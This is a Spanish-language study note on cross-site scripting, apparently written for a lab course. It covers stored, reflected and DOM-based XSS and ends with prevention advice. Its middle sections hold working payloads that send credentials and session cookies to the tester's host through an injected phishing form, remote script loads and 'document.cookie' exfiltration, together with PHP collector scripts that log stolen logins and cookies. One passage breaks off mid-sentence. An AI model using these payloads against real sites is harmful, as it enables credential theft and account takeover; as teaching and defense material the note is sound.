Cross Site scripting - XSS
XSS
¿ Qué es el XSS?
Consiste en inyectar codigo javascript extra en la web de forma que este se renderice de lado del cliente.
Las vulnerabilidades XSS se ejecutan únicamente en el lado del cliente y, por lo tanto, no afectan directamente al servidor back-end. Solo pueden afectar al usuario que ejecuta la vulnerabilidad. El impacto directo de las vulnerabilidades XSS en el servidor back-end puede ser relativamente bajo, pero son muy comunes en las aplicaciones web, por lo que esto equivale a un riesgo medio (bajo impacto + alta probabilidad = riesgo medio).
El XSS habilita multitud de ataques que sean posibles ejecutando códio javascript desde el navegador.
Por ejemplo hacer que el usuario envíe las cookies de sesión del navegador a un servidor controlado por el atacante; hacer que el usuario ejecute llamadas a un API de forma no intencionada que realicen acciones en su nombre sin su consentimiento.
Debido a que el código se ejecuta en el navegador este se limíta a navegadors con motores JS como V8 en chrome. No pueden ejecutar código JavaScript en todo el sistema para realizar acciones como la ejecución de código a nivel del sistema. En los navegadores modernos, también están limitados al mismo dominio del sitio web vulnerable.
No obstante, la posibilidad de ejecutar JavaScript en el navegador de un usuario puede dar lugar a una amplia variedad de ataques. Además, se identifica una vulnerabilidad binaria en un navegador web (por ejemplo, un desbordamiento de pila en Chrome), puede utilizar una vulnerabilidad XSS para ejecutar un exploit de JavaScript en el navegador del objetivo, lo que finalmente rompe el sandbox del navegador y ejecuta código en el equipo del usuario.
Ejemplo
En 2014, un investigador de seguridad identificó accidentalmente una vulnerabilidad XSS en el panel de control TweetDeck de Twitter. Esta vulnerabilidad se aprovechó para crear un tuit que se retuiteaba automáticamente en Twitter, lo que provocó que el tuit se retuitease más de 38 000 veces en menos de dos minutos. Finalmente, esto obligó a Twitter a cerrar temporalmente TweetDeck mientras reparaban la vulnerabilidad.
Tipos de XSS
| Tipo | Descripción |
|---|---|
| Stored (Persistent) XSS | El tipo más crítico de XSS, que ocurre cuando la entrada del usuario se almacena en la base de datos del backend y luego se muestra al recuperarse (por ejemplo, publicaciones o comentarios). |
| Reflected (Non-Persistent) XSS | Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor backend, pero sin ser almacenada (por ejemplo, resultado de búsqueda o mensaje de error). |
| DOM-based XSS | Otro tipo de XSS no persistente que ocurre cuando la entrada del usuario se muestra directamente en el navegador y es procesada completamente en el lado del cliente, sin llegar al servidor backend (por ejemplo, mediante parámetros HTTP del lado del cliente o etiquetas de anclaje). |
Stored XSS
Si nuestro XSS queda almacenado en la base de datos del servidor este será de tipo “stored” o almacenado.
Este es el tipo más crítico de XSS ya que afecta a muchos más usuarios debido a que se ejecuta por cada visita a la página infectada. Además este tipo de XSS no se elimina facilmente ya que, normalmente requiere que se haga desde la base de datos del servidor.
Probando payloads
1
<script>alert(window.origin)</script>
Con este payload podemos probar rápidamente si el parámetro que tenemos es vulnerable. Si la entrada es vulnerable este hará que salte una alerta con la URL de la paǵina donde se está ejecutando este XSS.
Muchas aplicaciones web modernas utilizan IFrames entre dominios para gestionar las entradas de los usuarios, de modo que, aunque el formulario web sea vulnerable a XSS, no supondría una vulnerabilidad para la aplicación web principal. Por eso mostramos el valor de window.origin en el cuadro de alerta, en lugar de un valor estático como 1. En este caso, el cuadro de alerta revelaría la URL en la que se está ejecutando y confirmaría qué formulario es el vulnerable, en caso de que se estuviera utilizando un IFrame.
Dado que algunos navegadores modernos pueden bloquear la función JavaScript alert() en ubicaciones específicas, puede resultar útil conocer otros payloads XSS básicos para verificar la existencia de XSS.
Uno de estos payload XSS es <plaintext>, que detendrá la representación del código HTML que viene después y lo mostrará como texto sin formato.
Otro payload fácil de detectar es <script>print()</script>, que abre el cuadro de diálogo de impresión del navegador, lo cual es poco probable que sea bloqueado por ningún navegador.
Reflected XSS
Dentro de los XSS que no son almacenados tenemos el reflected o “reflejado”; este es ejecutado por el el servidor back-end y el DOM-BASED; este es completamente procesado por el cliente y nunca llega al back-end.
Este tipo de XSS es temporal y desaparece al recargar la página afectada. Debido a esto solo afecta a usuarios objetivo no a todos los que visiten la página.
El tipo reflected ocurre cuando el input del usuario ellga al back-end y es devuelto sin ser filtrado o sanitizado. Hay diferentes maneras en las que el input puede ser devuelto como mensajes de error o de confirmación.
En estos casos, podemos intentar utilizar payloads XSS para ver si se ejecutan. Sin embargo, como suelen ser mensajes temporales, una vez que salimos de la página, no se volverían a ejecutar, por lo que son no persistentes.
Ejemplo
En este caso el error que se muestra toma la entrada del usuario como parte de la cadena que muestra el error.
Si probamos con el payload de window.origin veremos que efectivamente el mensaje de error es vulnerable a XSS.
El problema es que al recargar la página este desaparece por lo que para poder hacerlo objetivo en otro usuario necesitamos averiguar como se está pasando este al backend.
En este caso es una petición GET que pasa la entrada del usuario mediante el parámetro “task=” esto nos permite crear una URL maliciosa que al ser visitada hace que el XSS sea inyectado y se ejecute en el usuario objetivo.
http://SERVER_IP:PORT/index.php?task=<script>alert(window.origin)</script>
DOM XSS
Mientras que el reflected XSS envía los datos hacia el backend mediante HTTP, el DOM XSS se procesa completamente del lado del cliente, basicamente es cuando el JS modifica el código fuente de la web a través del “Document Object Model (DOM)”.
Por ejemplo en este caso vemos que la tarea que se añade a la list no es enviada al backend sino que se añade al DOM
http://94.237.48.12:45690/#task=test
Vemos que el parámetro de entrada en la URL utiliza un hashtag # para el elemento que hemos añadido, lo que significa que se trata de un parámetro del lado del cliente que se procesa completamente en el navegador. Esto indica que la entrada se procesa en el lado del cliente a través de JavaScript y nunca llega al back-end; por lo tanto, se trata de un XSS basado en DOM.
Source & Sink
La fuente o “source” es el objeto que toma a entrada del usuario como puede ser un parámetro de la URL o un campo de entrada.
El sumidero o “sink” es la función que escribe la entrada del usuario dentro de un objeto DOM. Si esta función no sanitiza bien la entrada es potencialmente vulnerable a XSS.
Algunas de las funciones para escribir objetos en el DOM son:
- document.write()
- DOM.innerHTML
- DOM.outerHTML
Algunas de las funciones de la librería JQuery para escribir objetos en el DOM:
- add()
- after()
- append()
Si miramos el codigo JS de la página anterior:
1
2
3
4
5
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
if (pos > 0) {
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
}
La fuente “source” se toma desde el parámetro task= y justo después se escribe el contenido del parámetro desde la entrada del usuario directamente en el elemento “todo”.
DOM Attacks
Para este tipo de XSS la etiqueta <script> no es válida para la función innerHTML pero existen otros muchos tipos de XSS sin necesidad de usar esa etiqueta.
1
<img src="" onerror=alert(window.origin)>
En este caso la etiqueta img si está permitida por lo que podemos crear una vacía que al no poder cargar ejecute un script JS con nuestro payload.
Igual que con las de tipo reflejado, para poder ejecutar este XSS en otros usuarios es necesario pasar la URL con el JS ya listo para ser inyectado y ejecutado en la carga de la web, en este caso de lado del cliente.
XSS Discovery
Automatizado
Casi todos los escáneres de vulnerabilidades de aplicaciones web (como Nessus, Burp Pro o ZAP) tienen diversas capacidades para detectar los tres tipos de vulnerabilidades XSS.
Estos escáneres suelen realizar dos tipos de análisis: un análisis pasivo, que revisa el código del lado del cliente en busca de posibles vulnerabilidades basadas en DOM, y un análisis activo, que envía varios tipos de cargas útiles para intentar desencadenar un XSS mediante la inyección de cargas útiles en el código fuente de la página.
Podemos encontrar herramientas de código abierto que nos pueden ayudar a identificar posibles vulnerabilidades XSS. Estas herramientas suelen funcionar identificando campos de entrada en páginas web, enviando varios tipos de payloads XSS y, a continuación, comparando el código fuente de la página renderizada para ver si se puede encontrar el payload, lo que podría indicar una inyección XSS exitosa.
Sin embargo, esto no siempre será preciso, ya que a veces, incluso si se inyectó la misma carga útil, es posible que no se ejecute correctamente debido a diversas razones, por lo que siempre debemos verificar manualmente la inyección XSS.
Algunas de las herramientas de código abierto más comunes que pueden ayudarnos a detectar XSS son XSS Strike, Brute XSS y XSSer.
Manual
XSS payloads
La manera más sencilla de comprobar si existen un XSS es probar diferentes payloads con un campo de entrada. Podemos encontrar listas de payloads como PayloadAllTheThings o PayloadBox.
El XSS se puede inyectar en cualquier entrada de la página HTML, lo que no es exclusivo de los campos de entrada HTML, sino que también puede estar en encabezados HTTP como Cookie o User-Agent (es decir, cuando sus valores se muestran en la página).
Además, estas cargas útiles utilizan diversos vectores de inyección para ejecutar código JavaScript, como etiquetas <script> básicas, otros atributos HTML como 
Una vez tengamos el login inyectado podemos eliminar el campo de la imagen.
1
document.getElementById('urlform').remove();
Para eliminar y añadir el formulario a la vez lo concatenamos:
1
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
O podemos separar cada JS en diferentes etiquetas <script>:
http://10.129.184.42/phishing/index.php?url="><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.15.191:8000><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form></script><script>document.getElementById('urlform').remove()</script><!--
Indicamos en la URL donde se enviará el formulario la IP de nuestra maquina y el puerto en cuestión donde serviremos el PHP, en este caso el 8000.
Ahora creamos el index.php y lo servimos.
1
2
3
4
5
6
7
8
9
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
Donde la IP será la del servidor original.
Servimos el documento y hacemos que la víctima acceda a la URL con el XSS y haga login.
sudo php -S 0.0.0.0:8000
En nuestro servidor nos llegarán los parámetros.
[Sun Oct 19 14:28:13 2025] 10.129.184.42:54014 Accepted [Sun Oct 19 14:28:13 2025] 10.129.184.42:54014 [302]: GET /?username=admin&password=p1zd0nt57341myp455&submit=Login [Sun Oct 19 14:28:13 2025] 10.129.184.42:54014 Closing
Session hijacking
Con la capacidad de ejecutar código JavaScript en el navegador de la víctima, podemos recopilar sus cookies y enviarlas a nuestro servidor para secuestrar su sesión iniciada mediante un ataque session hijacking (también conocido como robo de cookies).
Blind XSS
Una vulnerabilidad Blind XSS se produce cuando la vulnerabilidad se activa en una página a la que no tenemos acceso.
Las vulnerabilidades XSS ciegas suelen producirse en formularios a los que solo pueden acceder determinados usuarios (por ejemplo, los administradores). Algunos ejemplos posibles son:
- Formularios de contacto.
- Reseñas.
- Detalles del usuario.
- Tickets de soporte técnico.
- Encabezado HTTP User-Agent.
Para ello, podemos utilizar un payloadJavaScript que envíe una solicitud HTTP a nuestro servidor. Si se ejecuta el código JavaScript, obtendremos una respuesta en nuestro equipo y sabremos que la página es realmente vulnerable.
Cargando un script de forma remota
En lugar de escribir el código directamente en la inyección podemos hacer que carge un archivo JS que tengamos servido desde nuestra máquina.
1
<script src="http://OUR_IP/script.js"></script>
Para encontrar cuál de los parámetros de un formulario por ejemplo es vulnerable a la inyección, podemos modificar el archivo e ir creando copias con diferentes nombres cada uno realcionado con un campo.
Por ejemplo:
1
<script src="http://OUR_IP/username"></script>
De esta manera si se recibe una respuesta de este archivo sabremos que el parámetro es el nombre de usuario.
Podemos buscar un payload que funcione y se adapte por ejemplo desde PayloadAllTheThings
1
2
3
4
5
6
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Antes de comenzar a probar payloads abriremos un puerto de escucha para recibir la respuesta.
1
2
3
4
$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
Si nada llama a nuestro servidor, podemos pasar al siguiente payload, y así sucesivamente. Una vez recibida una llamada a nuestro servidor, debemos anotar el último payload que hemos utilizado y anotar el nombre del campo de entrada que ha llamado a nuestro servidor como campo de entrada vulnerable.
Session hijacking
Requiere un payload de JavaScript para enviarnos los datos necesarios y un script PHP alojado en nuestro servidor para capturar y analizar los datos transmitidos.
1
2
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Utilizaremos la segunda, ya que simplemente añade una imagen a la página, lo que puede no parecer muy malicioso, mientras que la primera navega hasta nuestra página PHP de captura de cookies, lo que puede parecer sospechoso.
Escribimos este código en nuestro script.js local y lo servimos.
Ahora con el script, el payload y el servidor php en escucha podemos ejecutar el XSS para recibir la cookie.
Si existen diferentes cookies podemos servir un script php como index.php en nuestro server con un contenido como:
1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Este script separá las cookies y las volcará en un fichero, de forma que si multiples usuarios ejecutan el XSS recibimos las cookies ordenadas.
1
2
10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2
Eso serían las peticiones a script.js y al index junto con la cookie.
1
2
$ cat cookies.txt
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
Y esto el contenido del fichero creado por el script.
Por último, podemos utilizar esta cookie en la página login.php para acceder a la cuenta de la víctima. Para ello, una vez que navegamos al login, podemos pulsar Mayús+F9 en Firefox para mostrar la barra de almacenamiento en las herramientas de desarrollo. A continuación, podemos hacer clic en el botón + de la esquina superior derecha y añadir nuestra cookie, donde el nombre es la parte que precede al signo = y el valor es la parte que sigue al signo = de nuestra cookie robada.
Ejemplo
Utilizamos el mismo payload para todos los campos solo que cambiamos el nombre del recurso que intenta pedir para averiguar de qué parámetro procede.
En este caso vemos que el parámetro que nos ha permitido inyectar JS es picture;
Creamos nuestro script.js con ese payload en la carpeta donde sirvamos nuestro servidor.
Ese será el código JS que ejecutará el XSS.
Ahora como dijimos antes creamos el index.php para extraer y ordenar las cookies y formamos nuestro payload final.
1
"><script src=http://10.10.14.202:8000/script.js></script>
Ahora podemos cargar la cookie directamente en nuestro navegador y logearnos como el administrador.
Prevención de XSS
Las vulnerabilidades XSS están relacionadas principalmente con dos partes de la aplicación web: una fuente, como un campo de entrada de usuario, y un sumidero, que muestra los datos introducidos. Estos son los dos puntos principales en los que debemos centrarnos para garantizar la seguridad, tanto en el front-end como en el back-end.
Front-end
Por ejemplo que la aplicación web no nos permite enviar el formulario si el formato del correo electrónico no es válido. Esto se hizo con el siguiente código JavaScript:
1
2
3
4
function validateEmail(email) {
const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test($("#login input[name=email]").val());
}
Como podemos ver, este código comprueba el campo de entrada del correo electrónico y devuelve verdadero o falso según si coincide con la validación Regex de un formato de correo electrónico.
Sanitización de entradas
Además de la validación de entradas, siempre debemos asegurarnos de no permitir ninguna entrada que contenga código JavaScript, escapando cualquier carácter especial. Para ello, podemos utilizar la biblioteca JavaScript DOMPurify, de la siguiente manera:
1
2
<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );
Entrada directa
Por último, siempre debemos asegurarnos de no utilizar nunca las entradas del usuario directamente dentro de determinadas etiquetas HTML, como:
- JavaScript code
<script></script> - CSS Style Code
<style></style> - Tag/Attribute Fields
<div name='INPUT'></div> - HTML Comments
<!-- -->
Si la entrada del usuario se introduce en cualquiera de los ejemplos anteriores, puede inyectar código JavaScript malicioso, lo que puede dar lugar a una vulnerabilidad XSS. Además, debemos evitar el uso de funciones JavaScript que permitan cambiar el texto sin formato de los campos HTML, como:
DOM.innerHTMLDOM.outerHTMLdocument.write()document.writeln()document.domain
O las siguientes funciones de JQuery:
html()parseHTML()add()append()prepend()after()insertAfter()before()insertBefore()replaceAll()replaceWith()
Dado que estas funciones escriben texto sin formato en el código HTML, si cualquier entrada del usuario se introduce en ellas, puede incluir código JavaScript malicioso, lo que da lugar a una vulnerabilidad XSS.
Back-end
Aunque congtemos con validación de entrada en el front-end, esto puede no ser suficiente para impedir que inyectáramos una payload en el formulario. Por lo tanto, también debemos contar con medidas de prevención de XSS en el back-end. Esto se puede lograr mediante la sanitización y validación de entradas y salidas, la configuración del servidor y herramientas de back-end que ayudan a prevenir vulnerabilidades XSS.
Validación de entradas
La validación de entradas en el back-end es bastante similar a la del front-end, y utiliza Regex o funciones de biblioteca para garantizar que el campo de entrada sea el esperado. Si no coincide, el servidor back-end lo rechazará y no lo mostrará.
1
2
3
4
5
if (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {
// do task
} else {
// reject input - do not display it
}
Sanitización de entradas
En lo que respecta a la sanitización de entradas, el back-end desempeña un papel fundamental, ya que la sanitización de entradas del front-end puede eludirse fácilmente enviando solicitudes GET o POST personalizadas.
Afortunadamente, existen bibliotecas muy potentes para diversos lenguajes de back-end que pueden sanitizar adecuadamente cualquier entrada del usuario, de modo que nos aseguramos de que no se produzca ninguna inyección.
En cualquier caso, la información introducida directamente por el usuario (por ejemplo, $_GET[“email”]) nunca debe mostrarse directamente en la página, ya que esto puede dar lugar a vulnerabilidades XSS.
HTML encoding
Otro aspecto importante al que hay que prestar atención en el back-end es la codificación de salida. Esto significa que tenemos que codificar cualquier carácter especial en sus códigos HTML, lo cual es útil si necesitamos mostrar toda la entrada del usuario sin introducir una vulnerabilidad XSS.
Para un back-end PHP, podemos utilizar las funciones htmlspecialchars o htmlentities, que codifican ciertos caracteres especiales en sus códigos HTML (por ejemplo, < en <), de modo que el navegador los muestre correctamente, pero no provoquen ningún tipo de inyección.
1
htmlentities($_GET['email']);
Configuración del servidor
Existen ciertas configuraciones del servidor web back-end que pueden ayudar a prevenir los ataques XSS, tales como:
Utilizar HTTPS en todo el dominio.
Utilizar encabezados de prevención de XSS.
Utilizar el tipo de contenido adecuado para la página, como X-Content-Type-Options=nosniff.
Utilizar opciones de Content-Security-Policy, como script-src “self”, que solo permite scripts alojados localmente.
Utilizar los indicadores de cookies HttpOnly y Secure para evitar que JavaScript lea las cookies y solo las transporte a través de HTTPS.
Además de lo anterior, contar con un buen firewall de aplicaciones web (WAF) puede reducir significativamente las posibilidades de explotación de XSS, ya que detectará automáticamente cualquier tipo de inyección que pase por las solicitudes HTTP y rechazará automáticamente dichas solicitudes. Además, algunos marcos proporcionan protección XSS integrada, como ASP.NET.













